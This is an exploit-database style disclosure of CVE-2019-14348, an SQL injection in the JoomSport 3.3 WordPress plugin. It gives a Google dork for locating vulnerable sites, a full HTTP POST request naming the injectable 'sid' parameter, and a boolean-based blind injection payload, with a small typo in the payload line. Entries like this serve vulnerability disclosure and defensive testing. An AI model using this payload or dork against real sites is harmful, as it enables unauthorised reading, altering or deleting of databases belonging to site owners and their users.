WordPress Plugin JoomSport 3.3 - SQL Injection

# Exploit Title: JoomSport 3.3 – for Sports - SQL injection
# Google Dork: intext:powered by JoomSport - sport WordPress plugin
# Date:29/07/2019.
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://beardev.com/
# Software Link: https://wordpress.org/plugins/joomsport-sports-league-results-management/
# Version: 3.3
# Tested on: Windows and Kali linux
# CVE :2019-14348
# References: https://hackpuntes.com/cve-2019-14348-joomsport-for-sports-sql-injection/

# 1. Technical Description:
#Through the SQL injection vulnerability, a malicious user could
inject SQL code in order to steal information from the database,
modify data from the database, even delete database or data from
them.

#2.  Request: All requests that contains the parameter sid are
vulnerables to SQL injection

POST /wordpress/joomsport_season/new-yorkers/?action=playerlist HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/joomsport_season/new-yorkers/?action=playerlist
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
DNT: 1
Connection: close
Cookie: PHPSESSID=s010flbg7fbohnguabsvjaut40
Upgrade-Insecure-Requests: 1

sid=1&page=1&jscurtab=

# 3. Payload:

Parameter: sid (POST)
   Type: boolean-based blind
   Title:  Or boolean-based blind - WHERE or HAVING clause
   Payload: sid=-3506 OR 7339=7339&page=1jscurtab=

# 4. Reference:
# https://hackpuntes.com/cve-2019-14348-joomsport-for-sports-sql-injection/